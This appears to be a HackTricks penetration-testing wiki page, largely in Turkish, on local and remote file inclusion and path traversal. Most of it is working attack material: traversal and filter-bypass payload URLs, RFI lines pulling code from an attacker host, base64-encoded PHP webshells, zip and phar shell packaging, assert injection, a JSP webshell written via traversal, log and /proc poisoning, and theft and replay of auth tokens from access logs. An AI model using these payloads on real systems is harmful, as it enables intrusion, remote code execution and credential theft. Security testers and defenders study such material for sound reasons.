File Inclusion/Path traversal
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
File Inclusion
Remote File Inclusion (RFI): Dosya uzak bir sunucudan yüklenir (En iyi: Kodu siz yazabilirsiniz ve sunucu onu çalıştırır). php’de bu varsayılan olarak devre dışıdır (allow_url_include).\
Local File Inclusion (LFI): Sunucu yerel bir dosyayı yükler.
Zafiyet, kullanıcının sunucunun yükleyeceği dosyayı bir şekilde kontrol edebilmesi durumunda ortaya çıkar.
Etkilenen PHP fonksiyonları: require, require_once, include, include_once
Bu zafiyeti exploit etmek için ilginç bir araç: https://github.com/kurobeats/fimap
Blind - İlginç - LFI2RCE dosyaları
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
Linux
Birkaç *nix LFI listesini karıştırıp daha fazla yol ekleyerek bunu oluşturdum:
Ayrıca / yerine \
Ayrıca ../../../../../ eklemeyi deneyin
Birden fazla teknik kullanarak /etc/password dosyasını bulmaya yönelik bir liste (zafiyetin var olup olmadığını kontrol etmek için) şurada bulunabilir here
Windows
Farklı wordlistlerin birleşimi:
Ayrıca / yerine \
Ayrıca C:/ kaldırıp ../../../../../ eklemeyi deneyin
Birden fazla teknik kullanarak /boot.ini dosyasını bulmaya yönelik bir liste (zafiyetin var olup olmadığını kontrol etmek için) şurada bulunabilir here
OS X
linux için LFI listesini kontrol edin.
Temel LFI ve bypass’lar
Tüm örnekler Local File Inclusion içindir ancak Remote File Inclusion’a da uygulanabilir (page=http://myserver.com/phpshellcode.txt\.
http://example.com/index.php?page=../../../etc/passwd
traversal sequences özyinelemeli olmadan kaldırılmış
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass: verilen dizgenin sonuna daha fazla karakter eklenmesini atlatma (bypass of: $_GET[‘param’].“php”)
http://example.com/index.php?page=../../../etc/passwd%00
Bu PHP 5.4’ten beri çözülmüştür
Kodlama
Standart dışı kodlamalar kullanabilirsiniz; örneğin double URL encode (ve diğerleri):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
HTML-to-PDF SVG/IMG path traversal
Modern HTML-to-PDF engines (e.g. TCPDF or wrappers such as html2pdf) saldırgan tarafından sağlanan HTML, SVG, CSS ve font URL’lerini memnuniyetle ayrıştırır; ancak dosya sistemi erişimi olan güvenilen backend ağları içinde çalışırlar. $pdf->writeHTML()/Html2Pdf::writeHTML() içine HTML enjekte edebilirseniz, web sunucusu hesabının okuyabileceği yerel dosyaları sıkça exfiltrate edebilirsiniz.
- Fingerprint the renderer: her oluşturulan PDF bir
Produceralanı içerir (örn.TCPDF 6.8.2). Tam build’i bilmek hangi path filters’in mevcut olduğunu ve URL decoding’in doğrulamadan önce gerçekleşip gerçekleşmediğini söyler. - Inline SVG payloads:
TCPDF::startSVGElementHandler()<image>elementlerindekixlink:hrefözniteliğiniurldecode()çalıştırmadan önce okur. Kötü amaçlı bir SVG’yi data URI içinde gömmek birçok HTML sanitizer’ın payload’u yok saymasına neden olurken TCPDF yine de bunu ayrıştırır:
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
TCPDF, / ile başlayan yollara $_SERVER['DOCUMENT_ROOT'] ekler ve .. öğelerini yalnızca daha sonra çözer; bu yüzden prepend işleminden sonra root’tan kaçmak için ya başa ../../.. segmentleri ya da /../../.. kullanın.
- Kodlayarak basit filtreleri atlatma: Sürümler ≤6.8.2, URL’i decode etmeden önce sadece literal alt dize
../’ü kontrol eder. SVG içinde veya ham bir<img src>özniteliğinde..%2f(veya..%2F) göndermek kontrolü atlatır, çünkü traversal dot-dot-slash dizisi yalnızca TCPDFurldecode()’u çağırdıktan sonra yeniden oluşturulur. - Çok aşamalı decoding için çift kodlama: Eğer kullanıcı girdisi web framework tarafından ve TCPDF tarafından decode ediliyorsa, slash’ı çift kodlayın (
%252f). Bir decode bunu%2fyapar, TCPDF’deki ikinci decode bunu/’ye çevirir; böylece/..%252f..→/../../../…elde edilir ve erken filtreye hiç../gösterilmez. - HTML
<img>handler:TCPDF::openHTMLTagHandler()aynı işlem sırası hatasını içerir, bu dasrc="%2f..%252f..%252ftmp%252fsecret.png"gibi doğrudan HTML payload’larının herhangi bir yerel olarak erişilebilir bitmap’i okumasına izin verir.
Bu teknik PDF worker tarafından okunabilir olan her şeyi leaks (pasaport taramaları, görsel olarak render edilmiş API anahtarları vb.). Hardeners bunu 6.9.1’de yolları kanonikleştirerek (isRelativePath()) düzeltti, bu yüzden testler sırasında daha eski Producer sürümlerini önceliklendirin.
Mevcut klasörden
Belki back-end klasör yolunu kontrol ediyordur:
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
Sunucuda Dosya Sistemi Dizinlerini Keşfetme
Bir sunucunun dosya sistemi, sadece dosyaları değil dizinleri de belirlemek için belirli teknikler kullanılarak özyinelemeli olarak keşfedilebilir. Bu işlem, dizin derinliğinin belirlenmesini ve belirli klasörlerin varlığının sorgulanmasını içerir. Aşağıda bunu başarmak için ayrıntılı bir yöntem verilmiştir:
- Dizin Derinliğini Belirleyin: Sunucunun Linux tabanlı olması durumunda
/etc/passwddosyasını başarıyla çekerek mevcut dizininizin derinliğini belirleyin. Örnek bir URL aşağıdaki gibi yapılandırılmış olabilir; bu, derinliğin üç olduğunu gösterir:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
- Klasörleri Ara: Şüphelenilen klasörün adını (ör.
private) URL’ye ekleyin, sonra/etc/passwd’e geri gidin. Ek dizin seviyesi, depth değerini bir artırmayı gerektirir:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
- Sonuçları Yorumlayın: Sunucunun yanıtı klasörün var olup olmadığını gösterir:
- Hata / Çıktı Yok: Belirtilen konumda
privateklasörü muhtemelen yoktur. /etc/passwdiçeriği:privateklasörünün varlığı doğrulanır.
- Yinelemeli Keşif: Keşfedilen klasörler alt dizinler veya dosyalar için aynı teknik veya geleneksel Local File Inclusion (LFI) yöntemleri kullanılarak daha fazla sorgulanabilir.
Dosya sisteminde farklı konumlardaki dizinleri keşfetmek için payload’u buna göre ayarlayın. Örneğin, /var/www/’ün bir private dizini içerip içermediğini kontrol etmek için (mevcut dizinin derinliğinin 3 olduğunu varsayarsak) kullanın:
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
Path Truncation Technique
Path truncation, web uygulamalarında dosya yollarını manipüle etmek için kullanılan bir yöntemdir. Genellikle, dosya yollarının sonuna ekstra karakterler ekleyen bazı güvenlik önlemlerini atlayarak kısıtlı dosyalara erişmek için kullanılır. Amaç, güvenlik önlemi tarafından değiştirildiğinde bile hedef dosyaya işaret eden bir dosya yolu oluşturmaktır.
PHP’de, dosya sistemi yapısı nedeniyle bir dosya yolunun çeşitli gösterimleri eşdeğer kabul edilebilir. Örneğin:
/etc/passwd,/etc//passwd,/etc/./passwd, ve/etc/passwd/aynı yol olarak işlenir.- Son 6 karakter
passwdolduğunda, sonuna/eklemek (yanipasswd/yapmak) hedeflenen dosyayı değiştirmez. - Benzer şekilde, bir dosya yoluna
.phpeklenmişse (ör.shellcode.php), sonuna/.eklemek erişilen dosyayı değiştirmez.
Verilen örnekler, hassas içeriği (kullanıcı hesap bilgileri) nedeniyle yaygın bir hedef olan /etc/passwd’e erişmek için path truncation kullanımını göstermektedir:
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Bu senaryolarda, gereken traversals sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir.
- Using Dot Segments and Additional Characters: Traversal sequences (
../) ekstra dot segments ve karakterlerle birleştirildiğinde dosya sisteminde gezinti için kullanılabilir ve sunucunun eklediği dizeleri etkisiz hale getirerek yok sayabilir. - Determining the Required Number of Traversals: Deneme yanılma yoluyla kök dizine ve ardından
/etc/passwd’e ulaşmak için gerekli../dizilerinin tam sayısı bulunabilir; böylece.phpgibi eklenen dizeler etkisizleştirilir fakat hedef yol (/etc/passwd) korunur. - Starting with a Fake Directory: Yolu var olmayan bir dizinle (ör.
a/) başlatmak yaygın bir uygulamadır. Bu teknik önlem amaçlı veya sunucunun path parsing mantığının gereksinimlerini karşılamak için kullanılır.
When employing path truncation techniques, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için test yapmak genellikle gereklidir.
Bu güvenlik açığı PHP 5.3’te düzeltildi.
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter
Remote File Inclusion
php’de bu varsayılan olarak devre dışı bırakılmıştır çünkü allow_url_include Off. Çalışması için On olmalıdır ve bu durumda sunucunuzdan bir PHP dosyasını include ederek RCE elde edebilirsiniz:
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Eğer bir nedenle allow_url_include On ise, fakat PHP harici web sayfalarına erişimi filtering ile engelliyorsa, bu gönderiye göre, örneğin base64 ile data protokolünü kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz:
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
Tip
Önceki kodda, son
+.txteklendi çünkü saldırganın.txtile biten bir string’e ihtiyacı vardı, bu yüzden string bununla biter ve b64 decode’dan sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu dahil edilecek (ve dolayısıyla çalıştırılacak).
Başka bir örnek php:// protokolünü kullanmayan şöyle olur:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
Python Kök element
python’da aşağıdaki gibi bir kodda:
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
Kullanıcı absolute path’i file_name olarak geçirirse, önceki yol sadece kaldırılır:
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
Bu, the docs bölümüne göre beklenen bir davranıştır:
Eğer bir bileşen absolute path ise, önceki tüm bileşenler atılır ve birleştirme absolute path bileşeninden devam eder.
Java Dizinleri Listeleme
Görünüşe göre Java’da bir Path Traversal varsa ve bir dosya yerine dizin isterseniz, dizinin listelemesi döndürülür. Bu diğer dillerde gerçekleşmiyor (afaik).
En yaygın 25 parametre
Aşağıda local file inclusion (LFI) zafiyetine açık olabilecek en yaygın 25 parametrenin listesi bulunmaktadır (from link):
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filtreleri, verinin okunmadan veya yazılmadan önce temel değişiklik işlemleri yapılmasına izin verir. Filtrelerin 5 kategorisi vardır:
- String Filters:
string.rot13string.toupperstring.tolowerstring.strip_tags: Veriden etiketleri kaldırır ( “<” ve “>” karakterleri arasındaki her şey)- Not: Bu filtre PHP’nin modern sürümlerinden kaybolmuştur
- Conversion Filters
convert.base64-encodeconvert.base64-decodeconvert.quoted-printable-encodeconvert.quoted-printable-decodeconvert.iconv.*: Farklı bir kodlamaya dönüştürür(convert.iconv.<input_enc>.<output_enc>). Desteklenen tüm kodlamaların listesini almak için konsolda çalıştırın:iconv -l
Warning
convert.iconv.*dönüşüm filtresini kötüye kullanarak herhangi bir metin oluşturabilirsiniz, bu da herhangi bir metni yazmak veya include gibi bir fonksiyonun herhangi bir metni işlemeye zorlanmasını sağlamak için faydalı olabilir. Daha fazla bilgi için bakınız LFI2RCE via php filters.
- Compression Filters
zlib.deflate: İçeriği sıkıştırır (useful if exfiltrating a lot of info)zlib.inflate: Veriyi açar- Encryption Filters
mcrypt.*: Kullanımdan kaldırıldımdecrypt.*: Kullanımdan kaldırıldı- Other Filters
- PHP’de
var_dump(stream_get_filters());çalıştırdığınızda birkaç beklenmeyen filtre bulabilirsiniz: consumeddechunk: HTTP chunked encoding’i tersine çevirirconvert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
Warning
“php://filter” kısmı büyük/küçük harfe duyarsızdır
php filters’ı oracle olarak kullanarak herhangi dosyaları okumak
In this post sunucudan çıktı alınmadan bir yerel dosyanın okunmasına yönelik bir teknik öneriyor. Bu teknik, oracle olarak boolean exfiltration of the file (char by char) using php filters’ı kullanmaya dayanır. Bunun nedeni, php filters’ın bir metni php’nin bir istisna fırlatacağı kadar büyütebilmesidir.
Orijinal yazıda tekniğin detaylı açıklaması bulunuyor, burada kısa bir özet:
- Metnin baştaki karakterini önde bırakmak ve stringin boyutunun üssel olarak artmasını sağlamak için codec
UCS-4LEkullanın. - Bu, ilk harf doğru tahmin edildiğinde çok büyük bir metin üretmek için kullanılacak ki php bir hata tetikleyecek.
- dechunk filtresi ilk karakter onaltılık değilse her şeyi silecektir, bu yüzden ilk karakterin hex olup olmadığını anlayabiliriz.
- Bu, önceki ile birleştirildiğinde (ve tahmin edilen harfe bağlı diğer filtrelerle) metnin başındaki bir harfi, onu onaltılık olmayan bir karakter haline getirecek kadar dönüşüm yaptığımız zamanı görerek tahmin etmemize izin verecek. Çünkü eğer hex ise, dechunk onu silmez ve başlangıç bombası php’nin hata vermesine yol açar.
- Codec convert.iconv.UNICODE.CP930 her harfi bir sonrakine dönüştürür (yani bu codec’ten sonra: a -> b). Bu, ilk harfin örneğin
aolup olmadığını keşfetmemizi sağlar; çünkü bu codec’i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık onaltılık bir karakter olmaz, dolayısıyla dechunk onu silmez ve php hatası, başlangıç bombasının çarpımı nedeniyle tetiklenir. - Başlangıçta rot13 gibi diğer dönüşümler kullanılarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkün (ve diğer codec’ler diğer harfleri hex aralığına taşımak için kullanılabilir).
- İlk karakter bir sayı olduğunda, base64 ile encode etmek ve sayıyı leak etmek için ilk 2 harfi leak etmek gerekir.
- Son problem, how to leak more than the initial letter’ı görmek. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE gibi order memory filtreleri kullanılarak karakterlerin sırası değiştirilebilir ve metnin ilk pozisyonuna metnin diğer harfleri getirilebilir.
- Ve further data elde edebilmek için fikir, başta 2 byte junk data üretmek convert.iconv.UTF16.UTF16 ile, UCS-4LE uygulayıp bunun sonraki 2 byte ile pivot olmasını sağlamak ve delete the data until the junk data (bu, ilk metnin ilk 2 byte’ını kaldıracaktır). İstediğiniz biti leak edene kadar bunu tekrarlayın.
Yazıda otomatik olarak bunu gerçekleştiren bir araç da leaked: php_filters_chain_oracle_exploit.
php://fd
Bu wrapper, işlemin açık tuttuğu file descriptors’a erişmeye izin verir. Açık dosyaların içeriğini exfiltrate etmek için potansiyel olarak kullanışlıdır:
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
Ayrıca php://stdin, php://stdout and php://stderr kullanarak sırasıyla file descriptors 0, 1 and 2’ye erişebilirsiniz (bunun bir attack’te nasıl işe yarayabileceğinden emin değilim)
zip:// and rar://
İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyip ona erişin.
rar protocol’ü kötüye kullanabilmek için özel olarak etkinleştirilmesi gerekir.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Bu protokolün php yapılandırmaları allow_url_open ve allow_url_include tarafından kısıtlandığını unutmayın.
expect://
Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz:
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
input://
Payload’unuzu POST parametrelerinde belirtin:
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
phar://
Bir .phar dosyası, bir web uygulaması dosya yükleme için include gibi fonksiyonlardan yararlandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıdaki PHP kodu örneği bir .phar dosyasının oluşturulmasını göstermektedir:
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
.phar dosyasını derlemek için, aşağıdaki komut çalıştırılmalıdır:
php --define phar.readonly=0 create_path.php
Çalıştırıldığında test.phar adında bir dosya oluşturulur; bu, Local File Inclusion (LFI) zafiyetlerini istismar etmek için kullanılabilir.
LFI, içindeki PHP kodunu çalıştırmadan sadece file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime() veya filesize() gibi fonksiyonlarla dosya okuma yapıyorsa, deserialization zafiyeti üzerinden istismar denemesi yapılabilir. Bu zafiyet phar protokolünü kullanarak dosya okunmasıyla ilişkilidir.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:
Phar Deserialization Exploitation Guide
CVE-2024-2961
PHP’de php filters’ı destekleyen any arbitrary file read from PHP that supports php filters kullanılarak RCE elde etmek mümkün oldu. The detailed description can be found in this post.
Çok kısa özet: PHP heap’inde bir 3 byte overflow kullanılarak belirli boyuttaki serbest chunk zinciri alter the chain of free chunks değiştirildi, böylece herhangi bir adrese write anything in any address yazılabildi; bu yüzden system çağırmak için bir hook eklendi.
Daha fazla php filter kötüye kullanılarak belirli boyutlarda chunk’lar alloc etmek mümkün oldu.
More protocols
Daha fazla olası protocols to include here:
- php://memory and php://temp — Belleğe veya geçici bir dosyaya yazma (bir file inclusion attack’ta bunun nasıl faydalı olabileceğinden tam emin değilim)
- file:// — Yerel dosya sistemine erişim
- http:// — HTTP(s) URL’lerine erişim
- ftp:// — FTP(s) URL’lerine erişim
- zlib:// — Sıkıştırma akışları
- glob:// — Desene uyan dosya yollarını bulma (yazdırılabilir hiçbir şey döndürmediği için burada pek kullanışlı değil)
- ssh2:// — Secure Shell 2
- ogg:// — Ses akışları (rastgele dosyaları okumak için kullanışlı değil)
PHP’nin ‘assert’ ile LFI
PHP’de Local File Inclusion (LFI) riskleri, string içindeki kodu çalıştırabilen ‘assert’ fonksiyonuyla uğraşırken özellikle yüksektir. ‘..’ gibi dizin geçişi karakterleri içeren girdiler kontrol edilip doğru şekilde sanitize edilmezse bu özellikle problemli olur.
Örneğin, PHP kodu dizin geçişini şu şekilde engelleyecek şekilde tasarlanmış olabilir:
assert("strpos('$file', '..') === false") or die("");
Bu traversal’ı önlemeyi amaçlasa da istemeden code injection için bir vektör oluşturur. Dosya içeriklerini okumak için bunu istismar eden bir saldırgan şunu kullanabilir:
' and die(highlight_file('/etc/passwd')) or '
Benzer şekilde, herhangi bir sistem komutunu yürütmek için şunu kullanabilirsiniz:
' and die(system("id")) or '
It’s important to URL-encode these payloads.
PHP Blind Path Traversal
Warning
Bu teknik, dosya yolunu kontrol ettiğiniz, bir PHP function’ın erişeceği ama dosyanın içeriğini görmediğiniz durumlarda (ör. basit bir çağrı
file()) geçerlidir; ancak içerik gösterilmez.
In this incredible post bu blind path traversal’ın PHP filter aracılığıyla dosya içeriğini bir error oracle üzerinden sızdırmak için nasıl kötüye kullanılabileceğini anlatıyor.
Özetle, teknik “UCS-4LE” encoding kullanarak dosya içeriğini o kadar büyük yapmayı; böylece dosyayı açan PHP function bir hata tetiklesin şeklindedir.
Daha sonra ilk karakteri leak etmek için dechunk filtresi base64 veya rot13 gibi diğerleriyle birlikte kullanılır ve son olarak filtreler convert.iconv.UCS-4.UCS-4LE ve convert.iconv.UTF16.UTF-16BE diğer karakterleri başlangıca yerleştirip onları leak etmek için kullanılır.
Potansiyel olarak zafiyetli fonksiyonlar: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs
Teknik detaylar için bahsedilen yazıya bakın!
LFI2RCE
Arbitrary File Write via Path Traversal (Webshell RCE)
Sunucu tarafı kodu, hedef yolu kullanıcı kontrollü veriyi (ör. bir filename veya URL) canonicalise edip doğrulamadan oluşturduğunda, .. segmentleri ve absolute paths amaçlanan dizinden çıkarak arbitrary file write’e neden olabilir. Eğer payload’ı web’e açık bir dizine koyabiliyorsanız, genellikle bir webshell bırakarak yetkisiz RCE elde edersiniz.
Tipik exploitation workflow:
- Bir endpoint veya background worker içinde path/filename kabul edip içeriği diske yazan bir write primitive tespit edin (ör. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.).
- Web’e açık dizinleri belirleyin. Yaygın örnekler:
- Apache/PHP:
/var/www/html/ - Tomcat/Jetty:
<tomcat>/webapps/ROOT/→ dropshell.jsp - IIS:
C:\inetpub\wwwroot\→ dropshell.aspx - Amaçlanan storage dizininden webroot’a çıkan bir traversal path oluşturun ve webshell içeriğinizi ekleyin.
- Bıraktığınız payload’a tarayıcıyla gidin ve komutları çalıştırın.
Notlar:
- Yazma işlemini yapan vulnerable service non-HTTP port’ta dinliyor olabilir (ör. TCP 4004’te bir JMF XML listener). Ana web portal (farklı port) daha sonra payload’ınızı sunar.
- Java yığınlarında bu dosya yazımları genellikle basit
File/Pathsconcatenation ile uygulanır. Canonicalisation/allow-listing eksikliği temel zafiyettir.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>
Bu tür hataları etkisiz hale getiren sertleştirmeler:
- Yolu kanonik hale getirip bunun allow-listed bir temel dizinin alt dizini olduğunu zorunlu kılın.
.., mutlak root’lar veya sürücü harfleri içeren herhangi bir yolu reddedin; tercihen oluşturulmuş dosya adlarını kullanın.- Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini servis edilen root’lardan ayırın.
Remote File Inclusion
Daha önce açıklandı, follow this link.
Via Apache/Nginx log file
Eğer Apache veya Nginx sunucusu include fonksiyonu içinde LFI’ye karşı açık ise, /var/log/apache2/access.log or /var/log/nginx/access.log dosyalarına erişmeyi deneyebilir, user agent’e veya bir GET parameter’a <?php system($_GET['c']); ?> gibi bir php shell koyup o dosyayı include edebilirsiniz
Warning
Not: çift tırnak kullanırsanız shell için tek tırnak yerine, çift tırnaklar “quote;” stringine dönüştürülecek, PHP orada bir hata fırlatacak ve başka hiçbir şey çalıştırılmayacak.
Ayrıca, payload’u doğru yazdığınızdan emin olun; aksi takdirde PHP log dosyasını her yüklemeye çalıştığında hata verir ve ikinci bir şansınız olmaz.
Bu diğer loglarda da yapılabilir fakat dikkatli olun, log içindeki kod URL encoded olabilir ve bu Shell’i bozabilir. Başlık authorisation “basic” Base64 içinde “user:password” içerir ve loglar içinde decode edilir. PHPShell bu başlığın içine yerleştirilebilir.\ Diğer olası log yolları:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI
Erişim loglarını okuyarak GET-based auth token’larını toplama (token replay)
Birçok uygulama yanlışlıkla session/auth token’larını GET üzerinden kabul eder (ör. AuthenticationToken, token, sid). Eğer web server logs’a path traversal/LFI primitive ile erişiminiz varsa, bu token’ları access logs’tan çalabilir ve replay yaparak authentication’ı tamamen atlayabilirsiniz.
How-to:
- traversal/LFI kullanarak web server access log’unu okuyun. Yaygın konumlar:
- /var/log/apache2/access.log, /var/log/httpd/access_log
- /var/log/nginx/access.log
- Bazı endpoints dosya okumalarını Base64-encoded olarak döndürebilir. Eğer öyleyse, lokalde decode edin ve log satırlarını inceleyin.
- token parametresi içeren GET isteklerini grep’leyin ve değerini yakalayın, sonra uygulamanın entry point’ine karşı replay edin.
Example flow (generic):
GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target
Gövde Base64 ise çözün, ardından yakalanmış token’ı replay edin:
GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target
Notlar:
- Tokens in URLs are logged by default; production sistemlerinde bearer tokens’ı asla GET ile kabul etmeyin.
- Eğer uygulama birden fazla token adı destekliyorsa, AuthenticationToken, token, sid, access_token gibi yaygın anahtarları arayın.
- Logs’a leak olmuş olabilecek tokenları rotate edin.
Via Email
Bir mail gönderin internal bir hesaba (user@localhost) PHP payload’unuzu <?php echo system($_REQUEST["cmd"]); ?> gibi içerecek şekilde ve kullanıcının mailini /var/mail/<USERNAME> veya /var/spool/mail/<USERNAME> gibi bir path ile include etmeyi deneyin.
Via /proc/*/fd/*
- Çok sayıda shells yükleyin (örneğin: 100)
- Include http://example.com/index.php?page=/proc/$PID/fd/$FD, burada $PID = PID of the process (can be brute forced) ve $FD = file descriptor (can be brute forced too)
Via /proc/self/environ
Log dosyası gibi, payload’u User-Agent içinde gönderin; bu /proc/self/environ dosyasında yansıyacaktır.
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
Via upload
